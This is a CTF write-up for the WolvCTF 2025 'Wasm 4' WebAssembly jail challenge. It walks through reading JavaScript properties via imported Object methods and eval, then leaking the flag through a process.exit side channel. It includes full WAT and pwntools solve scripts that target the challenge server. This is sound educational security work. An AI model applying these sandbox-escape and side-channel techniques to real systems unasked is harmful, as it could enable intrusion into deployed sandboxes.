---
# System prepended metadata

title: WolvCTF 2025 Writeups

---

# WolvCTF 2025 Writeups
## Wasm 4
### Challenge Breakdown
Wasm 4 is a WebAssembly jail with a simple premise: you are allowed to write any WebAssembly module; you are given the object `{ 'i': globalThis }` as your imports, meaning you can import anything from `globalThis`; your goal is to call the `win` function, as follows.
```javascript=10
function win(key) {
    if (key === '🥺') {
        console.log("wctf{redacted-flag}");
    }
}

globalThis.win = win;
```

If we can somehow, from WebAssembly, construct the string `'🥺'` and pass it to `win`, we get the flag.

### WebAssembly References
At first, I had no idea how to approach this challenge. To keep it brief, I spent the first few hours staring at JavaScript and WebAssembly docs, until I discovered the WebAssembly `externref` type.

`externref` is a type from the [Reference Types proposal](https://github.com/WebAssembly/reference-types/blob/master/proposals/reference-types/Overview.md) that represents an opaque JavaScript object. WebAssembly cannot modify or interact with these objects, but it can hold these objects on its stack and pass them to and fro JavaScript. `externref` is critical to this challenge, it means we can actually work with JavaScript objects to an extent.

As an aside, when I first discovered the Reference Types proposal, I looked for other WebAssembly proposals that might be useful. I found the [Reference-Typed Strings proposal](https://github.com/WebAssembly/stringref/blob/main/proposals/stringref/Overview.md), which allows WebAssembly to directly work with, modify, and create JavaScript strings. So... challenge solved? Well, I tried writing a small test solve with this locally, and unfortunately...
```
Compiling function #4 failed: Invalid opcode 0xfb (enable with --experimental-wasm-stringref)
```

Luckily, however, the Reference Types proposal works out-of-the-box.

### The Gameplan
At this point, my plan looked like this:
1. Somehow call `String.fromCharCode` to get the winning string.
2. Call `win`.

With WebAssembly, all imports are in the form of `module.name`. That is, since our imports object is `{ 'i': globalThis }`, we could import, say, the function `eval` from `globalThis` by using `"i"` as our module and `"eval"` as our name. Unfortunately, WebAssembly does not allow hierarchical module names. We *cannot* import `String.fromCharCode` by using `"i.String"` as our module and `"fromCharCode"` as our name.

If we want to call `String.fromCharCode`, we will have to first somehow read the property `fromCharCode` from `String`, then call it.

### Reading Object Properties (part 1)
Reading object properties will have to take place purely through JavaScript function calls, as that is the only way we can interact with JavaScript objects from WebAssembly. So, we will have to find some useful built-in functions to work with.

From experience, I know that all JavaScript objects have several built-in properties like `constructor` and `__proto__`. This means that, although our imports object, `{ 'i': globalThis }`, is only explicitly defined as having the module `"i"` , we can also use the built-in properties of the imports object as modules to import functions from. This gives us a few more options in terms of functions we can use.

I wrote a tiny script based off [this gist](https://gist.github.com/SHoar/b4ed022158ef9ab494bb9784d025716d) to list all importable functions available. The functions that immediately stood out to me were:

1. `globalThis.decodeURI`, `globalThis.decodeURIComponent`, `globalThis.encodeURI`, `globalThis.encodeURIComponent`, `globalThis.escape`, and `globalThis.unescape`. These can all modify strings.
2. `globalThis.eval`. If we can somehow craft a string containing JavaScript code, we win. But, crafting a string containing the right JavaScript code is no easier than crafting our target string `'🥺'`.
3. `globalThis.atob`. If we can somehow craft the Base64-encoded version of `'🥺'`, we can decode it with `atob`. But again, crafting the Base64-encoded version is no easier than crafting `'🥺'`.
4. `globalThis.btoa`. `btoa` encodes an input value in Base64.
5. `{}.__lookupGetter__.call`. This method seems useful for reading object properties, but is actually completely useless for our purposes. `__lookupGetter__` only returns something if there is a getter function defined for a property. Most properties, including the property `String.fromCharCode`, are not defined with getter functions.
7. `{}.constructor.getOwnPropertyDescriptor`, `{}.constructor.defineProperty`, and `{}.constructor.getOwnPropertyNames`. Bingo!

[`Object.getOwnPropertyDescriptor`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor) takes two parameters: an object and a string containing a property name. It returns a [property descriptor]( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor#description), which looks like this (example from [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor#examples)):
```javascript
let o, d;

o = { bar: 42 };
d = Object.getOwnPropertyDescriptor(o, "bar");
console.log(d);
// {
//   configurable: true,
//   enumerable: true,
//   value: 42,
//   writable: true
// }
```

`Object.defineProperty` is similar to `Object.getOwnPropertyDescriptor`, but instead of reading a property descriptor, it writes a property based off a property descriptor.

`Object.getOwnPropertyNames` takes in an object and returns an array of all names of properties defined by that object.

This is certainly a step in the right direction in terms of reading object properties. But, because `getOwnPropertyDescriptor` returns a property *descriptor* rather than just the property value itself, we still cannot access the property value from WebAssembly. We would have to somehow do *another* property read, this time reading the `.value` property from the property descriptor itself to get the original property's value.

### Reading Object Properties (part 2)
This seems like a dead-end, because we now need to be able to read a property in order to read a property.

However, I realized that by combining a few tactics, we *are* in fact able to read properties with this method. Here's what I figured out:
1. Generate a string that is a valid JavaScript identifier. We can use `btoa` for this. We will assign this string to the local variable `$str1`.
2. Call `Object.getOwnPropertyDescriptor`. We will assign this descriptor to the local variable `$descriptor`.
3. Call `Object.defineProperty(globalThis, $str1, $descriptor)`. 
4. Call `eval($str1)`. The return value is our target property's value!

To understand more concretely why this works, here's an example JavaScript implementation of this concept:
```javascript
const obj = { val: 42 };
const property = 'val';

// We want to read obj.val

const str1 = btoa(123);
console.log(str1);
// outputs: 'MTIz'

const descriptor = Object.getOwnPropertyDescriptor(obj, property);
console.log(descriptor);
// outputs: { value: 42, ... }

Object.defineProperty(globalThis, str1, descriptor);
console.log(globalThis.MTIz);
// outputs: 42

console.log(MTIz);
// outputs: 42
// (this works because all global variables in JavaScript are implicitly
// properties of globalThis)

console.log(eval('MTIz'));
// outputs: 42

console.log(eval(str1));
// outputs: 42
```

For future clarity, I will be referring to this technique used to read properties as the Property-Reading Method.

We can also copy properties from object A to object B with a variant of the Property-Reading Method, where instead of calling `Object.defineProperty` on `globalThis`, we call it on object B. I will be referring to this technique as the Property-Copying Method. To be pedantic, we also skip the `btoa` and `eval` calls in the Property-Copying Method.

### Reading Object Properties (part 3)
The Property-Reading Method certainly works, but it has one caveat: we first need to somehow get the property's name as a string. Fortunately, this is not too difficult, thanks to the `Object.getOwnPropertyNames` function.

We first call `Object.getOwnPropertyNames`, which, as previously stated, takes in an object and returns an array of all names of properties defined by that object. Then, we can use our Property-Reading Method on the returned array itself to index into it.

This works because, in JavaScript, elements of an array are considered as "properties" with their numeric index as their "property name." However, unlike strings, we are able to arbitrary construct numbers from WebAssembly to use as the "property name."

Now, putting everything together, this is our strategy to read the property `String.fromCharCode`, in JavaScript form:
```javascript
const str1 = btoa(123);
console.log(str1);
// 'MTIz'

const names = Object.getOwnPropertyNames(String);
console.log(names);
// [
//     'length',
//     'name',
//     'prototype',
//     'fromCharCode',
//     'fromCodePoint',
//     'raw'
// ]

const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);
console.log(descriptor1);
// { value: 'fromCharCode', ... }

Object.defineProperty(globalThis, str1, descriptor1);
console.log(MTIz);
// 'fromCharCode'

const fromCharCodeStr = eval(str1);
console.log(fromCharCodeStr);
// 'fromCharCode'

const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);
console.log(descriptor2);
// { value: [Function: fromCharCode], ... }

Object.defineProperty(globalThis, str1, descriptor2);
console.log(MTIz);
// [Function: fromCharCode]

const fromCharCode = eval(str1);
console.log(fromCharCode);
// [Function: fromCharCode]
```

In WebAssembly form:
```wat
(module
    (import "i" "globalThis" (global $globalThis externref))
    (import "i" "String" (global $String externref))
    (import "i" "eval" (func $eval (param externref) (result externref)))
    (import "i" "btoa" (func $btoa (param i32) (result externref)))
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref)))
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref)))
    (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref)))
    (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref)))

    (func (export "main") (result externref)
        (local $str1 externref)
        (local $names externref)
        (local $descriptor1 externref)
        (local $descriptor2 externref)
        (local $fromCharCodeStr externref)
        (local $fromCharCode externref)

        ;; const str1 = btoa(123);
        i32.const 123
        call $btoa
        local.set $str1

        ;; const names = Object.getOwnPropertyNames(String);
        global.get $String
        call $getOwnPropertyNames
        local.set $names

        ;; const descriptor1 = Object.getOwnPropertyDescriptor(names, 3);
        local.get $names
        i32.const 3
        call $getOwnPropertyDescriptorNum
        local.set $descriptor1

        ;; Object.defineProperty(globalThis, str1, descriptor1);
        global.get $globalThis
        local.get $str1
        local.get $descriptor1
        call $defineProperty

        ;; const fromCharCodeStr = eval(str1);
        local.get $str1
        call $eval
        local.set $fromCharCodeStr

        ;; const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr);
        global.get $String
        local.get $fromCharCodeStr
        call $getOwnPropertyDescriptor
        local.set $descriptor2

        ;; Object.defineProperty(globalThis, str1, descriptor2);
        global.get $globalThis
        local.get $str1
        local.get $descriptor2
        call $defineProperty

        ;; const fromCharCode = eval(str1);
        local.get $str1
        call $eval
        local.set $fromCharCode

        ;; return fromCharCode for debugging purposes
        local.get $fromCharCode
        return
    )
)
```

If we patch the challenge to print out the return value of `main`, then assemble and run our program locally...
```
> wat2wasm.exe wasm4.wat
> node 4.js
>>> 0061736d0100000001210660016f016f60017f016f60026f7f016f60026f6f016f60036f6f6f006000016f02bc010801690a676c6f62616c54686973036f00016906537472696e67036f000169046576616c000001690462746f6100010b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200020b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200030b636f6e7374727563746f72136765744f776e50726f70657274794e616d657300000b636f6e7374727563746f720e646566696e6550726f7065727479000403020105070801046d61696e00060a42014001066f41fb0010012100230110042101200141031002210223002000200210052000100021042301200410032103230020002003100520001000210520050f0b
[Function: fromCharCode]
```

Hooray! We now have `String.fromCharCode`. All that's left is to call it and win!

### Not Quite...
When I first looked at the Reference Types proposal, I had seen some talk of a `call_ref` instruction, and just assumed that this instruction meant that we if we had a JavaScript function in an `externref` value, we could call it.

Well. Turns out, `call_ref` is for another reference type called `funcref`, not `externref`. And `funcref` can only refer to WebAssembly functions, not JavaScript ones. Damn. We have `String.fromCharCode`, but no way to call it.

I looked for a bit for built-in JavaScript functions that would take in a function as a parameter, call it for me, and return the return value, but did not find any such functions that were accessible to import.

However, I did notice this suspicious little call to `process.exit` after our WebAssembly code is run. Here is the full snippet from the challenge source:
```javascript=18
let wasmMod = new WebAssembly.Module(new Uint8Array(parseHex(result)));
let instance = new WebAssembly.Instance(wasmMod, { 'i': globalThis });

instance.exports.main();

process.exit(0);
```

We know how to copy properties from one object to another. So, theoretically, we could overwrite `process.exit` with another function to invoke it with the argument `0`.

This is not very useful, though. To get our winning string, we need to invoke `String.fromCharCode` with the argument `55358`, not `0`. Furthermore, we would need to somehow get the return value, and subsequently call `win` with it.

### Side-channeling?
Overwriting `process.exit`, however, does allow us to do one very powerful thing: exfiltrate information from our WebAssembly code. We can exfiltrate exactly one bit of information, and here's how:

1. To exfiltrate the bit `0`, do nothing.
2. To exfiltrate the bit `1`, use our Property-Copying Method to overwrite `process.exit` with `console.log`, so that a `0` is printed to the console.

We will know what the exfiltrated bit is by whether or not something is printed to the console. In essence, side-channeling. Realizing that we can exfiltrate a single bit made me realize that there is a way to solve this challenge without calling `win`.

### Side-channeling.
From experience, I know that in JavaScript, stringifying a function will return its source code. This means that if we stringify the `win` function, the resulting string will contain the flag. We can read out a flag character from the `win` function's source code, then exfiltrate the character bit-by-bit. Rinse and repeat for the remaining characters, and we win.

In JavaScript, our solution looks like this:
```javascript
const charIndex = 64;
const mask = 0x01;

// We want to exfiltrate the bit (win.toString()[charIndex] & mask)
const str1 = btoa(123);
const str2 = btoa(124);

const winSource = unescape(win);    // Use unescape to stringify.

// Property-Reading Method to read winSource[charIndex]
Object.defineProperty(global, str1, Object.getOwnPropertyDescriptor(
    winSource, charIndex
));

// Property-Reading Method to read Buffer(winSource[charIndex])[0]
// 
// This is necessary to convert our char from a string to its char code.
// 
// Also, from here on out, str2 will be used instead of str1 because the
// property descriptor of winSource[charIndex] is not configurable, so we
// cannot redefine global[str1].
Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
    Buffer(eval(str1)), 0
))

if ((eval(str2) & mask) !== 0) {
    // Our bit is a 1, so we need to overwrite process.exit with
    // console.log
    
    // Property-Reading Method to get string "log"
    Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
        Object.getOwnPropertyNames(console), 0
    ));
    const logStr = eval(str2);
    
    // Property-Reading Method to get string "exit"
    Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor(
        Object.getOwnPropertyNames(process), 31
    ));
    const exitStr = eval(str2);
    
    // Property-Copying Method to assign console.log to process.exit
    Object.defineProperty(process, exitStr, Object.getOwnPropertyDescriptor(
        console, logStr
    ));
}
```

Now, we just write a WebAssembly version, attach a small Python program to build up the flag bit-by-bit, and voila!

`wctf{pr0l1f1c_1mp0rt3r}`

### Solve Scripts
```wat
(module
    (import "i" "global" (global $global externref))
    (import "i" "console" (global $console externref))
    (import "i" "process" (global $process externref))
    (import "i" "win" (global $win externref))
    (import "i" "Buffer" (func $Buffer (param externref) (result externref)))
    (import "i" "unescape" (func $unescape (param externref) (result externref)))
    (import "i" "eval" (func $evalInt (param externref) (result i32)))
    (import "i" "eval" (func $eval (param externref) (result externref)))
    (import "i" "btoa" (func $btoa (param i32) (result externref)))
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref)))
    (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref)))
    (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref)))
    (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref) (result externref)))

    (func (export "main")
        (local $str1 externref)
        (local $str2 externref)
        (local $winSource externref)
        (local $logStr externref)
        (local $exitStr externref)
        i32.const 123
        call $btoa
        local.set $str1
        i32.const 124
        call $btoa
        local.set $str2



        global.get $win
        call $unescape
        local.set $winSource

        ;; read char from source
        global.get $global
        local.get $str2
        global.get $global
        local.get $str1

        local.get $winSource
        i32.const 0x1337
        call $getOwnPropertyDescriptorNum

        call $defineProperty
        drop

        local.get $str1
        call $eval

        call $Buffer
        i32.const 0
        call $getOwnPropertyDescriptorNum
        
        call $defineProperty
        drop

        local.get $str2
        call $evalInt

        ;; mask bit we want to side channel
        i32.const 0x1338
        i32.and

        ;; side channel bit
        (if
            (then
                ;; bit is a 1, print a 0

                ;; get string "log"
                global.get $global
                local.get $str2

                global.get $console
                call $getOwnPropertyNames

                i32.const 0
                call $getOwnPropertyDescriptorNum

                call $defineProperty
                drop

                local.get $str2
                call $eval
                local.set $logStr

                ;; get string "exit"
                global.get $global
                local.get $str2

                global.get $process
                call $getOwnPropertyNames

                i32.const 0x1339
                call $getOwnPropertyDescriptorNum

                call $defineProperty
                drop

                local.get $str2
                call $eval
                local.set $exitStr

                ;; assign console.log to process.exit
                global.get $process
                local.get $exitStr

                global.get $console
                local.get $logStr
                call $getOwnPropertyDescriptor

                call $defineProperty
                drop
            )
            (else
                ;; bit is a 0, do nothing
                nop
            )
        )
    )
)
```

```python
import pwn

# wctf{pr0l1f1c_1mp0rt3r}

pwn.context.log_level = 'error'

payload = open('wasm4.wasm', 'rb').read()
codeIndex = payload.rindex(bytes.fromhex('0A'))
payloadStart = payload[:codeIndex]
templateCode = payload[codeIndex + 4:]

def leb128(n: int):
    result = b''
    while True:
        byte = n & 0x7f
        n >>= 7
        if (n == 0 and byte & 0x40 == 0) or (n == -1 and byte & 0x40 != 0):
            result += bytes([byte])
            break
        result += bytes([byte | 0x80])
    return result

def generatePayload(i: int, mask: int, t: int):
    code = templateCode.replace(leb128(0x1337), leb128(i)).replace(leb128(0x1338), leb128(mask)).replace(leb128(0x1339), leb128(t))
    code = bytes.fromhex('01') + leb128(len(code)) + code
    payload = payloadStart + bytes.fromhex('0A') + leb128(len(code)) + code
    return payload

def sideChannelChar(index: int):
    c = 0
    for i in range(7):
        r = pwn.remote('wasm4.kctf-453514-codelab.kctf.cloud', 1337)
        r.sendlineafter(b'>>> ', generatePayload(index, 1 << i, 31).hex().encode())
        
        try:
            r.recvline()
            c |= 1 << i
        except EOFError:
            pass

        r.close()

    return chr(c)

i = 64
while True:
    print(sideChannelChar(i), end='')
    i += 1

```

### The Intended Solution
I think it's quite obvious here that completely bypassing the calling of the `win` function is not intended.

Here's the intended solution:
```wat
(module
  (import "i" "win" (func $win (param externref)))
  (import "i" "Array" (func $Array (param i32 i32 i32 i32) (result externref)))
  (import "i" "Buffer" (func $Buffer (param externref) (result externref)))
  (import "i" "String" (func $String (param externref) (result externref)))

  (func (export "main")
    i32.const 0xf0
    i32.const 0x9f
    i32.const 0xa5
    i32.const 0xba
    call $Array  ;; Array(0xf0, 0x9f, 0xa5, 0xba)
    call $Buffer  ;; Buffer(Array(...))
    call $String  ;; String(Buffer(...))
    call $win
  )
)
```

Yeah... so I might've overcomplicated this a bit.
